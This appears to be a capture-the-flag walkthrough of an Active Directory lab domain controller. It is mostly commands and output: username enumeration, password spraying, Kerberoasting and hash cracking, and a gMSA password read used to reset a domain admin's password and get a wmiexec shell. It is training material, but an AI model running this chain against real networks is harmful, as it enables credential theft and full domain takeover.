Another highly recommended Active Directory lab for attackers and defenders looking to sharpen their AD skills.
Before going too far: if you are new to this type of content, I’d encourage you to use ippsec’s really high-quality YouTube video rather than this post. This post is better suited to provide quick access to commands and techniques that might help you solve this AD challenge and also let you test attack and defense for the techniques in your own lab environment.
Recon
nmap -sC -sV -oA search.nmap 10.10.11.129
We determine that this has the look of an Active Directory domain controller because of what appears to be a combination of DNS (53), Global Catalog (3268), Kerberos (88), LDAP (389) and SMB (445) on the machine.
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|http-title: Search — Just Testing IIS | http-methods: | Potentially risky methods: TRACE
|http-server-header: Microsoft-IIS/10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2022-12-12 00:39:40Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: search.htb0., Site: Default-First-Site-Name) |_ssl-date: 2022-12-12T00:41:04+00:00; -10h59m57s from scanner time. | ssl-cert: Subject: commonName=research | Not valid before: 2020-08-11T08:13:35 |_Not valid after: 2030-08-09T08:13:35 443/tcp open ssl/http Microsoft IIS httpd 10.0 | tls-alpn: | http/1.1
|http-server-header: Microsoft-IIS/10.0 |_http-title: Search — Just Testing IIS |_ssl-date: 2022-12-12T00:41:05+00:00; -10h59m57s from scanner time. | http-methods: | Potentially risky methods: TRACE
| ssl-cert: Subject: commonName=research
| Not valid before: 2020-08-11T08:13:35
|_Not valid after: 2030-08-09T08:13:35
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: search.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2022-12-12T00:41:05+00:00; -10h59m57s from scanner time.
| ssl-cert: Subject: commonName=research
| Not valid before: 2020-08-11T08:13:35
|_Not valid after: 2030-08-09T08:13:35
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: search.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2022-12-12T00:41:04+00:00; -10h59m57s from scanner time.
| ssl-cert: Subject: commonName=research
| Not valid before: 2020-08-11T08:13:35
|_Not valid after: 2030-08-09T08:13:35
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: search.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=research
| Not valid before: 2020-08-11T08:13:35
|_Not valid after: 2030-08-09T08:13:35
|_ssl-date: 2022-12-12T00:41:05+00:00; -10h59m57s from scanner time.
Service Info: Host: RESEARCH; OS: Windows; CPE: cpe:/o:microsoft:windows
We also notice what appears to be a web server. If the machine is a domain controller it would not be recommended in many situations, but in this lab it’s a starting point to find more information.
Hostname
We can already infer the hostname of “research” via the commonname in TLS certificate output generated with nmap above.
Another approach, demonstrated by ippsec in the video is to use crackmapexec. An easy way to get it in a state ready to go if you are not using kali is with docker:
docker run -it --entrypoint=/bin/sh --name cme -v ~/.cme:/root/.cme byt3bl33d3r/crackmapexec
We can see from the output that the SMB interrogation backs up our hostname finding from the TLS certificate. (We can also see that SMB signing is enabled. Not ideal for attackers, thumbs up for the blue team).
SMB 10.10.11.129 445 RESEARCH [*] Windows 10.0 Build 17763 x64 (name:RESEARCH) (domain:search.htb) (signing:True) (SMBv1:False)
Users
By navigating to the web site found in the nmap scan we can see that there are a handful of employee names on the site. We can create a file containing likely login names based on the full names. The suggested names would be firstname.lastname (roger.ramjet) as well as firstinitiallastname (rramjet).
We come up with something like:
hope.sharp
keely.lyons
dax.santiago
sierra.frye
kyla.stewart
kaiara.spencer
dave.simpson
ben.thompson
chris.stewart
hsharp
klyons
dsantiago
sfrye
kstewart
kspencer
dsimpson
bthompson
cstewart
The next step is to get a better idea on the naming convention and users that do exist in AD. In the video mentioned at the start, ippsec suggests ropnop’s kerbrute which is an excellent idea (https://github.com/ropnop/kerbrute).
We can get it like:
wget https://github.com/ropnop/kerbrute/releases/download/v1.0.3/kerbrute_linux_amd64
chmod +x kerbrute_linux_amd64
And check against our list of potential users with:
./kerbrute_linux_amd64 userenum --dc 'research.search.htb' -d 'search.htb' search-users.txt
We determine that the following three are interesting to us:
./kerbrute_linux_amd64 userenum --dc 'research.search.htb' -d 'search.htb' search-users.txt
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: v1.0.3 (9dad6e1) - 12/13/22 - Ronnie Flathers @ropnop
2022/12/13 01:35:51 > Using KDC(s):
2022/12/13 01:35:51 > research.search.htb:88
2022/12/13 01:35:51 > [+] VALID USERNAME: hope.sharp@search.htb
2022/12/13 01:35:51 > [+] VALID USERNAME: dax.santiago@search.htb
2022/12/13 01:35:51 > [+] VALID USERNAME: keely.lyons@search.htb
2022/12/13 01:35:51 > [+] VALID USERNAME: sierra.frye@search.htb
2022/12/13 01:35:51 > Done! Tested 18 usernames (4 valid) in 0.472 seconds
We can be reasonably confident that we’ve learned the default naming convention (firstname.lastname) and some valid usernames. In the case of Hope, we also discovered what appears to be a password in an image on the website.
We can confirm the password using the same tool:
./kerbrute_linux_amd64 passwordspray --dc 'research.search.htb' -d 'search.htb' search-users.txt 'ThepasswordWeThinkWeFound'
In the first attempt we are reminded that because we are dealing with Kerberos, we need to ensure clocks are in sync. The default allowable skew is five minutes. If we first update our local client time and then try again we have success:
└──╼ $sudo ntpdate 10.10.11.129
12 Dec 14:50:01 ntpdate[5225]: step time server 10.10.11.129 offset -39600.255169 sec
└──╼ $./kerbrute_linux_amd64 passwordspray --dc 'research.search.htb' -d 'search.htb' search-users.txt 'thepasswordwefind'
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: v1.0.3 (9dad6e1) - 12/12/22 - Ronnie Flathers @ropnop
2022/12/12 14:50:09 > Using KDC(s):
2022/12/12 14:50:09 > research.search.htb:88
2022/12/12 14:50:10 > [+] VALID LOGIN: hope.sharp@search.htb:thepassowrdwefind
2022/12/12 14:50:10 > Done! Tested 18 logins (1 successes) in 0.965 seconds
We could also validate that we have at least read access to the ‘sysvol’ or ‘netlogon’ directories which need to be readable by all authenticated users using:
──╼ $smbclient \\\\search.htb\\sysvol -U search\\hope.sharp
Password for [SEARCH\hope.sharp]:
Try "help" to get a list of possible commands.
smb: \> ls
. Dc 0 Wed Apr 1 02:41:30 2020
.. Dc 0 Wed Apr 1 02:41:30 2020
FOLJWSHRGG Dc 0 Wed Apr 1 02:41:30 2020
search.htb Drc 0 Wed Apr 1 01:18:24 2020
3246079 blocks of size 4096. 600243 blocks available
Data Collection
Now that we have a confirmed set of credentials, we can go ahead and take a bloodhound collection.
git clone https://github.com/fox-it/BloodHound.py.git
python3 -m venv .venv
source .venv/bin/activate
pip3 install .
python3 bloodhound.py -u hope.sharp -p ourpassword -d search.htb -ns 10.10.11.129 -dc research.search.htb -c All
Once the collection is complete, we can start bloodhound to examine the data:
sudo apt update && sudo apt install -y bloodhound
sudo neo4j console
Log on to the web portal on localhost with http://localhost:7474 and change the default credentials from neo4j:neo4j
Then start bloodhound with:
bloodhound
Upload all the .json files collected with bloodhound.py.
You should be able to see that the database now has items populated.
Using “Analysis” > “Kerberos” > “List Kerberoastable Accounts” we locate WEB_SVC@search.htb as a potential next target. We could have moved on to using impacket as described in the next section but it’s good to have a look at what we are working with in the bloodhound collection first. We also isolate an additional domain admin account: tristan.davis@search.htb.
Kerberoasting
We can use a script from impacket in the first instance:
GetUserSPNs.py search.htb/hope.sharp:ourpassword -outputfile krb.txt
Inspecting krb.txt we find that we have successfully gathered a hash.
$cat krb.txt
$krb5tgs$23$*web_svc$SEARCH.HTB$search.htb/web_svc*$bd19145bf443f980627ec849d5ea6700$0b781bfc8c2f76d62bd0376fc3ddd2070a179511a1acc918090a9407c17a3a101aaa280e0b5cde0ea560c0f9ff848799113a723719332b02d16b11312cd74d2498d33ba1ef2f3af36eff0c190cbb8bba191fd0dc55
We can attempt to crack the hash with:
hashcat.bin krb.txt /opt/wordlist/rockyou.txt
We are lucky and can now use:
hashcat.bin krb.txt --show
to recover the password for the service account.
We mark the account as owned in bloodhound and check for paths to domain admin. At this point there are none.
Since this is a service account, we should check for password spray with the new credentials. (The idea being that if an admin created the service account, they might also use that password for themselves). Before doing that though, we should get a list of all users found by bloodhound. An easy way to do that is to open the console on http://localhost:7474 and execute a simple query:
MATCH (u:USER) RETURN u.name
There’s an “export to csv” option in the top right corner. We can add all the usernames to our users.txt before running the password spray again with the new password.
Password Spray #2
./kerbrute_linux_amd64 passwordspray --dc 'research.search.htb' -d 'search.htb' search-users.txt 'newpassword'
We find that the password is shared by two accounts:
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: v1.0.3 (9dad6e1) - 12/13/22 - Ronnie Flathers @ropnop
2022/12/13 08:44:19 > Using KDC(s):
2022/12/13 08:44:19 > research.search.htb:88
2022/12/13 08:44:19 > [+] VALID LOGIN: WEB_SVC@search.htb:newpassword
2022/12/13 08:44:22 > [+] VALID LOGIN: EDGAR.JACOBS@search.htb:newpassword
2022/12/13 08:44:24 > Done! Tested 107 logins (2 successes) in 5.406 seconds
We mark the new account as owned in bloodhound and check for paths to domain admin. At this point there are still none.
Share Enumeration
The next point of interest is whether there are shares that lead us to code execution via RPC over SMB, crackmapexec does a good job of helping there but there do not seem to be any. Or any that just contain information that is useful to us:
smbmap -u edgar.jacobs -p password -d search -H 10.10.11.129
We identify:
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
C$ NO ACCESS Default share
CertEnroll READ ONLY Active Directory Certificate Services share
helpdesk READ ONLY
IPC$ READ ONLY Remote IPC
NETLOGON READ ONLY Logon server share
RedirectedFolders$ READ, WRITE
SYSVOL READ ONLY Logon server share
We can enumerate the content of folders we have access to with something like:
smbmap -u edgar.jacobs -p password -d search -H 10.10.11.129 -R RedirectedFolders$
And in this case, we eventually find a useful file which we can download to our machine with:
smbget -U edgar.jacobs smb://10.10.11.129/RedirectedFolders$/edgar.jacobs/Desktop/Phishing_Attempt.xlsx
Reading the (full) Excel Spreadsheet
We find that a single column of the spreadsheet is locked and requires a password.
Fortunately, there is a known workaround. XLXS files are in zip format and contain the bits and pieces in the archive. If you extract the files you can work with the individual parts. In this case we are looking for the “SheetProtection” tag in the xml for the document. If we simply remove that tag the column will be no longer protected.
We remove the tag from xl/worksheets/sheet2.xml
then rezip the file:
zip -r Phishing_Attempt.xlsx *
When we reopen the file, we can see column C and it contains many passwords.
New Credentials
We noticed earlier that user.txt was in the folder for Sierra.Frye but we didn’t seem to have access. We can can that again now with credentials that appear to be for that user.
smbget -U Sierra.Frye smb://10.10.11.129/RedirectedFolders$/sierra.frye/User.txt
The user.txt is valid. Neither here nor there for the real world, but useful to reassure that we are on the right track on this simulation.
Certificates
The user Sierra.Frye appears to have certificate material in the Downloads folder (Downloads\Backups)
smbget -U sierra.frye -w search -R smb://10.10.11.129/RedirectedFolders$/sierra.frye/Downloads/Backups/search-RESEARCH-CA.p12
smbget -U sierra.frye -w search -R smb://10.10.11.129/RedirectedFolders$/sierra.frye/Downloads/Backups/staff.pfx
When attempting to load the certificate via Firefox we find that the certificate is password protected.
We crack the password:
pfx2john staff.pfx > staff.hash
john --wordlist=rockyou.txt staff.hash
Now that we have the password and should be able to import the .pfx file.
Web Enumeration:
We need to find if there are authenticated parts of the site, we have yet to stumble on for which a client certificate might be useful.
gobuster dir -u 10.10.11.129 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-small.txt
We hit a promising 403 on “staff”:
/staff (Status: 403) [Size: 1233]
If we change our request to use https, we can leverage the certificate we imported for mutual authentication and succeed in finding the PowerShell Web site. This would be an undesirable configuration for most Domain Controllers but provided a really interesting detour on this practice lab.
PowerShell Web
Once logged in, we have shell access to the machine.
If we update our bloodhound information, marking Seirra as owned we can see that there is now a path to Administrators:
Looking at the diagram we can see that sierra.frye is a member of the ITSEC group.
The ITSEC group has “ReadGMSAPassword” rights on the BIR-ADFS-GMSA$ account. We can assume that this is a group managed service account.
The BIR-ADFS-GMSA$ account has GenericAll rights on tristan.davies and Tristan is a member of the Administrators group, nice.
We should be able to take over Tristan’s account if we can retrieve the GMSA credentials. The DSInternals package will allow us to do this.
$GMSA = Get-ADServiceAccount -Identity bir-adfs-gmsa -Properties 'msds-managedpassword'
$pass = $GMSA.'msds-managedpassword'
$convertedpass = ConvertFrom-ADManagedPasswordBlob $pass
$user = 'BIR-ADFS-GMSA$'
$password = $convertedpass.'CurrentPassword'
$ss = ConvertTo-SecureString $password -AsPlainText -Force
$cred = new-object system.management.automation.PSCredential $user,$ss
Invoke-Command -computername 127.0.0.1 -ScriptBlock {Set-ADAccountPassword -Identity tristan.davies -reset -NewPassword (ConvertTo-SecureString -AsPlainText 'P@ssw0rd123!' -force)} -Credential $cred
WMIExec
It would be nice if we had a way to get a shell as Tristan Davis now that we’ve reset his password. One way to achive this is with impacket. We can use:
wmiexec.py 'search/tristan.davies:P@ssw0rd123!@10.10.11.129'
And we should see:
From there we can dump the challenge flag as needed but more importantly we can see that we have full domain administrator privileges and have completed the objective of compromising this domain.